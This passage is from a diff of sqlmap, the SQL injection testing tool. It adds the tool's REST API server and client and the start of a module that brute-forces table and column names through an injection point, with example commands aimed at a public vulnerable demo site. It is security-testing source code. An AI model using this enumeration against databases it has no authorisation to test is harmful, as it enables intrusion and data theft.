self.cursor = None + + def connect(self, who="server"): + self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) + self.cursor = self.connection.cursor() + self.lock = threading.Lock() + logger.debug("REST-JSON API %s connected to IPC database" % who) + + def disconnect(self): + if self.cursor: + self.cursor.close() + + if self.connection: + self.connection.close() + + def commit(self): + self.connection.commit() + + def execute(self, statement, arguments=None): + with self.lock: + while True: + try: + if arguments: + self.cursor.execute(statement, arguments) + else: + self.cursor.execute(statement) + except sqlite3.OperationalError as ex: + if "locked" not in getSafeExString(ex): + raise + else: + time.sleep(1) + else: + break + + if statement.lstrip().upper().startswith("SELECT"): + return self.cursor.fetchall() + + def init(self): + self.execute("CREATE TABLE IF NOT EXISTS logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") + +class Task(object): + def __init__(self, taskid, remote_addr): + self.remote_addr = remote_addr + self.process = None + self.output_directory = None + self.options = None + self._original_options = None + self.initialize_options(taskid) + + def initialize_options(self, taskid): + datatype = {"boolean": False, "string": None, "integer": None, "float": None} + self.options = AttribDict() + + for _ in optDict: + for name, type_ in optDict[_].items(): + type_ = unArrayizeValue(type_) + self.options[name] = _defaults.get(name, datatype[type_]) + + # Let sqlmap engine knows it is getting called by the API, + # the task ID and the file path of the IPC database + self.options.api = True + self.options.taskid = taskid + self.options.database = Database.filepath + + # Enforce batch mode and disable coloring and ETA + self.options.batch = True + self.options.disableColoring = True + self.options.eta = False + + self._original_options = AttribDict(self.options) + + def set_option(self, option, value): + self.options[option] = value + + def get_option(self, option): + return self.options[option] + + def get_options(self): + return self.options + + def reset_options(self): + self.options = AttribDict(self._original_options) + + def engine_start(self): + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + saveConfig(self.options, configFile) + + if os.path.exists("sqlmap.py"): + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) + elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")): + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) + elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")): + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN) + else: + self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) + + def engine_stop(self): + if self.process: + self.process.terminate() + return self.process.wait() + else: + return None + + def engine_process(self): + return self.process + + def engine_kill(self): + if self.process: + try: + self.process.kill() + return self.process.wait() + except: + pass + return None + + def engine_get_id(self): + if self.process: + return self.process.pid + else: + return None + + def engine_get_returncode(self): + if self.process: + self.process.poll() + return self.process.returncode + else: + return None + + def engine_has_terminated(self): + return isinstance(self.engine_get_returncode(), int) + +# Wrapper functions for sqlmap engine +class StdDbOut(object): + def __init__(self, taskid, messagetype="stdout"): + # Overwrite system standard output and standard error to write + # to an IPC database + self.messagetype = messagetype + self.taskid = taskid + + if self.messagetype == "stdout": + sys.stdout = self + else: + sys.stderr = self + + def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): + if self.messagetype == "stdout": + if content_type is None: + if kb.partRun is not None: + content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) + else: + # Ignore all non-relevant messages + return + + output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type)) + + # Delete partial output from IPC database if we have got a complete output + if status == CONTENT_STATUS.COMPLETE: + if len(output) > 0: + for index in xrange(len(output)): + conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) + + conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) + if kb.partRun: + kb.partRun = None + + elif status == CONTENT_STATUS.IN_PROGRESS: + if len(output) == 0: + conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) + else: + new_value = "%s%s" % (dejsonize(output[0][2]), value) + conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) + else: + conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) + + def flush(self): + pass + + def close(self): + pass + + def seek(self): + pass + +class LogRecorder(logging.StreamHandler): + def emit(self, record): + """ + Record emitted events to IPC database for asynchronous I/O + communication with the parent process + """ + conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) + +def setRestAPILog(): + if conf.api: + try: + conf.databaseCursor = Database(conf.database) + conf.databaseCursor.connect("client") + except sqlite3.OperationalError as ex: + raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database)) + + # Set a logging handler that writes log messages to a IPC database + logger.removeHandler(LOGGER_HANDLER) + LOGGER_RECORDER = LogRecorder() + logger.addHandler(LOGGER_RECORDER) + +# Generic functions +def is_admin(token): + return DataStore.admin_token == token + +@hook('before_request') +def check_authentication(): + if not any((DataStore.username, DataStore.password)): + return + + authorization = request.headers.get("Authorization", "") + match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization) + + if not match: + request.environ["PATH_INFO"] = "/error/401" + + try: + creds = decodeBase64(match.group(1), binary=False) + except: + request.environ["PATH_INFO"] = "/error/401" + else: + if creds.count(':') != 1: + request.environ["PATH_INFO"] = "/error/401" + else: + username, password = creds.split(':') + if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): + request.environ["PATH_INFO"] = "/error/401" + +@hook("after_request") +def security_headers(json_header=True): + """ + Set some headers across all HTTP responses + """ + response.headers["Server"] = "Server" + response.headers["X-Content-Type-Options"] = "nosniff" + response.headers["X-Frame-Options"] = "DENY" + response.headers["X-XSS-Protection"] = "1; mode=block" + response.headers["Pragma"] = "no-cache" + response.headers["Cache-Control"] = "no-cache" + response.headers["Expires"] = "0" + + if json_header: + response.content_type = "application/json; charset=UTF-8" + +############################## +# HTTP Status Code functions # +############################## + +@return_error(401) # Access Denied +def error401(error=None): + security_headers(False) + return "Access denied" + +@return_error(404) # Not Found +def error404(error=None): + security_headers(False) + return "Nothing here" + +@return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) +def error405(error=None): + security_headers(False) + return "Method not allowed" + +@return_error(500) # Internal Server Error +def error500(error=None): + security_headers(False) + return "Internal server error" + +############# +# Auxiliary # +############# + +@get('/error/401') +def path_401(): + response.status = 401 + return response + +############################# +# Task management functions # +############################# + +# Users' methods +@get("/task/new") +def task_new(): + """ + Create a new task + """ + taskid = encodeHex(os.urandom(8), binary=False) + remote_addr = request.remote_addr + + DataStore.tasks[taskid] = Task(taskid, remote_addr) + + logger.debug("Created new task: '%s'" % taskid) + return jsonize({"success": True, "taskid": taskid}) + +@get("/task/<taskid>/delete") +def task_delete(taskid): + """ + Delete an existing task + """ + if taskid in DataStore.tasks: + DataStore.tasks.pop(taskid) + + logger.debug("(%s) Deleted task" % taskid) + return jsonize({"success": True}) + else: + response.status = 404 + logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid) + return jsonize({"success": False, "message": "Non-existing task ID"}) + +################### +# Admin functions # +################### + +@get("/admin/list") +@get("/admin/<token>/list") +def task_list(token=None): + """ + Pull task list + """ + tasks = {} + + for key in DataStore.tasks: + if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: + tasks[key] = dejsonize(scan_status(key))["status"] + + logger.debug("(%s) Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) + return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) + +@get("/admin/flush") +@get("/admin/<token>/flush") +def task_flush(token=None): + """ + Flush task spool (delete all tasks) + """ + + for key in list(DataStore.tasks): + if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: + DataStore.tasks[key].engine_kill() + del DataStore.tasks[key] + + logger.debug("(%s) Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) + return jsonize({"success": True}) + +################################## +# sqlmap core interact functions # +################################## + +# Handle task's options +@get("/option/<taskid>/list") +def option_list(taskid): + """ + List options for a certain task ID + """ + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to option_list()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + logger.debug("(%s) Listed task options" % taskid) + return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) + +@post("/option/<taskid>/get") +def option_get(taskid): + """ + Get value of option(s) for a certain task ID + """ + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + options = request.json or [] + results = {} + + for option in options: + if option in DataStore.tasks[taskid].options: + results[option] = DataStore.tasks[taskid].options[option] + else: + logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option)) + return jsonize({"success": False, "message": "Unknown option '%s'" % option}) + + logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ','.join(options))) + + return jsonize({"success": True, "options": results}) + +@post("/option/<taskid>/set") +def option_set(taskid): + """ + Set value of option(s) for a certain task ID + """ + + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + if request.json is None: + logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid) + return jsonize({"success": False, "message": "Invalid JSON options"}) + + for option, value in request.json.items(): + DataStore.tasks[taskid].set_option(option, value) + + logger.debug("(%s) Requested to set options" % taskid) + return jsonize({"success": True}) + +# Handle scans +@post("/scan/<taskid>/start") +def scan_start(taskid): + """ + Launch a scan + """ + + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + if request.json is None: + logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid) + return jsonize({"success": False, "message": "Invalid JSON options"}) + + for key in request.json: + if key in RESTAPI_UNSUPPORTED_OPTIONS: + logger.warning("[%s] Unsupported option '%s' provided to scan_start()" % (taskid, key)) + return jsonize({"success": False, "message": "Unsupported option '%s'" % key}) + + # Initialize sqlmap engine's options with user's provided options, if any + for option, value in request.json.items(): + DataStore.tasks[taskid].set_option(option, value) + + # Launch sqlmap engine in a separate process + DataStore.tasks[taskid].engine_start() + + logger.debug("(%s) Started scan" % taskid) + return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) + +@get("/scan/<taskid>/stop") +def scan_stop(taskid): + """ + Stop a scan + """ + + if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): + logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + DataStore.tasks[taskid].engine_stop() + + logger.debug("(%s) Stopped scan" % taskid) + return jsonize({"success": True}) + +@get("/scan/<taskid>/kill") +def scan_kill(taskid): + """ + Kill a scan + """ + + if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): + logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + DataStore.tasks[taskid].engine_kill() + + logger.debug("(%s) Killed scan" % taskid) + return jsonize({"success": True}) + +@get("/scan/<taskid>/status") +def scan_status(taskid): + """ + Returns status of a scan + """ + + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + if DataStore.tasks[taskid].engine_process() is None: + status = "not running" + else: + status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" + + logger.debug("(%s) Retrieved scan status" % taskid) + return jsonize({ + "success": True, + "status": status, + "returncode": DataStore.tasks[taskid].engine_get_returncode() + }) + +@get("/scan/<taskid>/data") +def scan_data(taskid): + """ + Retrieve the data of a scan + """ + + json_data_message = list() + json_errors_message = list() + + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + # Read all data from the IPC database for the taskid + for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)}) + + # Read all error messages from the IPC database + for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_errors_message.append(error) + + logger.debug("(%s) Retrieved scan data and error messages" % taskid) + return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) + +# Functions to handle scans' logs +@get("/scan/<taskid>/log/<start>/<end>") +def scan_log_limited(taskid, start, end): + """ + Retrieve a subset of log messages + """ + + json_log_messages = list() + + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + if not start.isdigit() or not end.isdigit() or int(end) < int(start): + logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) + return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) + + start = max(1, int(start)) + end = max(1, int(end)) + + # Read a subset of log messages from the IPC database + for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)): + json_log_messages.append({"time": time_, "level": level, "message": message}) + + logger.debug("(%s) Retrieved scan log messages subset" % taskid) + return jsonize({"success": True, "log": json_log_messages}) + +@get("/scan/<taskid>/log") +def scan_log(taskid): + """ + Retrieve the log messages + """ + + json_log_messages = list() + + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to scan_log()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + # Read all log messages from the IPC database + for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_log_messages.append({"time": time_, "level": level, "message": message}) + + logger.debug("(%s) Retrieved scan log messages" % taskid) + return jsonize({"success": True, "log": json_log_messages}) + +# Function to handle files inside the output directory +@get("/download/<taskid>/<target>/<filename:path>") +def download(taskid, target, filename): + """ + Download a certain file from the file system + """ + + if taskid not in DataStore.tasks: + logger.warning("[%s] Invalid task ID provided to download()" % taskid) + return jsonize({"success": False, "message": "Invalid task ID"}) + + path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename)) + # Prevent file path traversal + if not path.startswith(paths.SQLMAP_OUTPUT_PATH): + logger.warning("[%s] Forbidden path (%s)" % (taskid, target)) + return jsonize({"success": False, "message": "Forbidden path"}) + + if os.path.isfile(path): + logger.debug("(%s) Retrieved content of file %s" % (taskid, target)) + content = openFile(path, "rb").read() + return jsonize({"success": True, "file": encodeBase64(content, binary=False)}) + else: + logger.warning("[%s] File does not exist %s" % (taskid, target)) + return jsonize({"success": False, "message": "File does not exist"}) + +@get("/version") +def version(token=None): + """ + Fetch server version + """ + + logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr)) + return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]}) + +def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None, database=None): + """ + REST-JSON API server + """ + + DataStore.admin_token = encodeHex(os.urandom(16), binary=False) + DataStore.username = username + DataStore.password = password + + if not database: + _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) + os.close(_) + else: + Database.filepath = database + + if port == 0: # random + with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: + s.bind((host, 0)) + port = s.getsockname()[1] + + logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) + logger.info("Admin (secret) token: %s" % DataStore.admin_token) + logger.debug("IPC database: '%s'" % Database.filepath) + + # Initialize IPC database + DataStore.current_db = Database() + DataStore.current_db.connect() + DataStore.current_db.init() + + # Run RESTful API + try: + # Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref + # Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names + + if adapter == "gevent": + from gevent import monkey + monkey.patch_all() + elif adapter == "eventlet": + import eventlet + eventlet.monkey_patch() + logger.debug("Using adapter '%s' to run bottle" % adapter) + run(host=host, port=port, quiet=True, debug=True, server=adapter) + except socket.error as ex: + if "already in use" in getSafeExString(ex): + logger.error("Address already in use ('%s:%s')" % (host, port)) + else: + raise + except ImportError: + if adapter.lower() not in server_names: + errMsg = "Adapter '%s' is unknown. " % adapter + errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys()))) + else: + errMsg = "Server support for adapter '%s' is not installed on this system " % adapter + errMsg += "(Note: you can try to install it with 'apt install python-%s' or 'pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter) + logger.critical(errMsg) + +def _client(url, options=None): + logger.debug("Calling '%s'" % url) + try: + headers = {"Content-Type": "application/json"} + + if options is not None: + data = getBytes(jsonize(options)) + else: + data = None + + if DataStore.username or DataStore.password: + headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False) + + req = _urllib.request.Request(url, data, headers) + response = _urllib.request.urlopen(req) + text = getText(response.read()) + except: + if options: + logger.error("Failed to load and parse %s" % url) + raise + return text + +def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None): + """ + REST-JSON API client + """ + + DataStore.username = username + DataStore.password = password + + dbgMsg = "Example client access from command line:" + dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) + dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) + dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) + dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) + logger.debug(dbgMsg) + + addr = "http://%s:%d" % (host, port) + logger.info("Starting REST-JSON API client to '%s'..." % addr) + + try: + _client(addr) + except Exception as ex: + if not isinstance(ex, _urllib.error.HTTPError) or ex.code == _http_client.UNAUTHORIZED: + errMsg = "There has been a problem while connecting to the " + errMsg += "REST-JSON API server at '%s' " % addr + errMsg += "(%s)" % getSafeExString(ex) + logger.critical(errMsg) + return + + commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit") + colors = ('red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'lightgrey', 'lightred', 'lightgreen', 'lightyellow', 'lightblue', 'lightmagenta', 'lightcyan') + autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands) + + taskid = None + logger.info("Type 'help' or '?' for list of available commands") + + while True: + try: + color = colors[int(taskid or "0", 16) % len(colors)] + command = _input("api%s> " % (" (%s)" % setColor(taskid, color) if taskid else "")).strip() + command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command) + except (EOFError, KeyboardInterrupt): + print() + break + + if command in ("data", "log", "status", "stop", "kill"): + if not taskid: + logger.error("No task ID in use") + continue + raw = _client("%s/scan/%s/%s" % (addr, taskid, command)) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to execute command %s" % command) + dataToStdout("%s\n" % raw) + + elif command.startswith("option"): + if not taskid: + logger.error("No task ID in use") + continue + try: + command, option = command.split(" ", 1) + except ValueError: + raw = _client("%s/option/%s/list" % (addr, taskid)) + else: + options = re.split(r"\s*,\s*", option.strip()) + raw = _client("%s/option/%s/get" % (addr, taskid), options) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to execute command %s" % command) + dataToStdout("%s\n" % raw) + + elif command.startswith("new"): + if ' ' not in command: + logger.error("Program arguments are missing") + continue + + try: + argv = ["sqlmap.py"] + shlex.split(command)[1:] + except Exception as ex: + logger.error("Error occurred while parsing arguments ('%s')" % getSafeExString(ex)) + taskid = None + continue + + try: + cmdLineOptions = cmdLineParser(argv).__dict__ + except: + taskid = None + continue + + for key in list(cmdLineOptions): + if cmdLineOptions[key] is None: + del cmdLineOptions[key] + + raw = _client("%s/task/new" % addr) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to create new task ('%s')" % res.get("message", "")) + continue + taskid = res["taskid"] + logger.info("New task ID is '%s'" % taskid) + + raw = _client("%s/scan/%s/start" % (addr, taskid), cmdLineOptions) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to start scan ('%s')" % res.get("message", "")) + continue + logger.info("Scanning started") + + elif command.startswith("use"): + taskid = (command.split()[1] if ' ' in command else "").strip("'\"") + if not taskid: + logger.error("Task ID is missing") + taskid = None + continue + elif not re.search(r"\A[0-9a-fA-F]{16}\Z", taskid): + logger.error("Invalid task ID '%s'" % taskid) + taskid = None + continue + logger.info("Switching to task ID '%s' " % taskid) + + elif command in ("version",): + raw = _client("%s/%s" % (addr, command)) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to execute command %s" % command) + dataToStdout("%s\n" % raw) + + elif command in ("list", "flush"): + raw = _client("%s/admin/%s" % (addr, command)) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to execute command %s" % command) + elif command == "flush": + taskid = None + dataToStdout("%s\n" % raw) + + elif command in ("exit", "bye", "quit", 'q'): + return + + elif command in ("help", "?"): + msg = "help Show this help message\n" + msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" + msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" + msg += "data Retrieve and show data for current task\n" + msg += "log Retrieve and show log for current task\n" + msg += "status Retrieve and show status for current task\n" + msg += "option OPTION Retrieve and show option for current task\n" + msg += "options Retrieve and show all options for current task\n" + msg += "stop Stop current task\n" + msg += "kill Kill current task\n" + msg += "list Display all tasks\n" + msg += "version Fetch server version\n" + msg += "flush Flush tasks (delete all tasks)\n" + msg += "exit Exit this client\n" + + dataToStdout(msg) + + elif command: + logger.error("Unknown command '%s'" % command) diff --git a/lib/utils/brute.py b/lib/utils/brute.py new file mode 100644 index 00000000000..7833a3982ce --- /dev/null +++ b/lib/utils/brute.py @@ -0,0 +1,408 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import division + +import time + +from lib.core.common import Backend +from lib.core.common import clearConsoleLine +from lib.core.common import dataToStdout +from lib.core.common import filterListValue +from lib.core.common import getFileItems +from lib.core.common import getPageWordSet +from lib.core.common import hashDBWrite +from lib.core.common import isNoneValue +from lib.core.common import ntToPosixSlashes +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.decorators import stackedmethod +from lib.core.enums import DBMS +from lib.core.enums import HASHDB_KEYS +from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE +from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import UPPER_CASE_DBMSES +from lib.core.threads import getCurrentThreadData +from lib.core.threads import runThreads +from lib.request import inject + +def _addPageTextWords(): + wordsList = [] + + infoMsg = "adding words used on web page to the check list" + logger.info(infoMsg) + pageWords = getPageWordSet(kb.originalPage) + + for word in pageWords: + word = word.lower() + + if len(word) > 2 and not word[0].isdigit() and word not in wordsList: + wordsList.append(word) + + return wordsList + +@stackedmethod +def tableExists(tableFile, regex=None): + if kb.choices.tableExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: + warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) + warnMsg += "for common table existence check" + logger.warning(warnMsg) + + message = "are you sure you want to continue? [y/N] " + kb.choices.tableExists = readInput(message, default='N', boolean=True) + + if not kb.choices.tableExists: + return None + + result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) + + if result: + errMsg = "can't use table existence check because of detected invalid results " + errMsg += "(most likely caused by inability of the used injection " + errMsg += "to distinguish erroneous results)" + raise SqlmapDataException(errMsg) + + pushValue(conf.db) + + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.db = conf.db.upper() + + message = "which common tables (wordlist) file do you want to use?\n" + message += "[1] default '%s' (press Enter)\n" % tableFile + message += "[2] custom" + choice = readInput(message, default='1') + + if choice == '2': + message = "what's the custom common tables file location?\n" + tableFile = readInput(message) or tableFile + + infoMsg = "performing table existence using items from '%s'" % tableFile + logger.info(infoMsg) + + tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True) + tables.extend(_addPageTextWords()) + tables = filterListValue(tables, regex) + + for conf.db in (conf.db.split(',') if conf.db else [conf.db]): + if conf.db and METADB_SUFFIX not in conf.db: + infoMsg = "checking database '%s'" % conf.db + logger.info(infoMsg) + + threadData = getCurrentThreadData() + threadData.shared.count = 0 + threadData.shared.limit = len(tables) + threadData.shared.files = [] + threadData.shared.unique = set() + + def tableExistsThread(): + threadData = getCurrentThreadData() + + while kb.threadContinue: + kb.locks.count.acquire() + if threadData.shared.count < threadData.shared.limit: + table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break + + if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + fullTableName = "%s.%s" % (conf.db, table) + else: + fullTableName = table + + if Backend.isDbms(DBMS.MCKOI): + _ = randomInt(1) + result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName))) + else: + result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) + + kb.locks.io.acquire() + + if result and table.lower() not in threadData.shared.unique: + threadData.shared.files.append(table) + threadData.shared.unique.add(table.lower()) + + if conf.verbose in (1, 2) and not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) + dataToStdout(infoMsg, True) + + if conf.verbose in (1, 2): + status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + + kb.locks.io.release() + + try: + runThreads(conf.threads, tableExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during table existence " + warnMsg += "check. sqlmap will display partial output" + logger.warning(warnMsg) + + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.files: + warnMsg = "no table(s) found" + if conf.db: + warnMsg += " for database '%s'" % conf.db + logger.warning(warnMsg) + else: + for item in threadData.shared.files: + if conf.db not in kb.data.cachedTables: + kb.data.cachedTables[conf.db] = [item] + else: + kb.data.cachedTables[conf.db].append(item) + + for _ in ((conf.db, item) for item in threadData.shared.files): + if _ not in kb.brute.tables: + kb.brute.tables.append(_) + + conf.db = popValue() + hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) + + return kb.data.cachedTables + +def columnExists(columnFile, regex=None): + if kb.choices.columnExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: + warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) + warnMsg += "for common column existence check" + logger.warning(warnMsg) + + message = "are you sure you want to continue? [y/N] " + kb.choices.columnExists = readInput(message, default='N', boolean=True) + + if not kb.choices.columnExists: + return None + + if not conf.tbl: + errMsg = "missing table parameter" + raise SqlmapMissingMandatoryOptionException(errMsg) + + if conf.db and Backend.getIdentifiedDbms() in 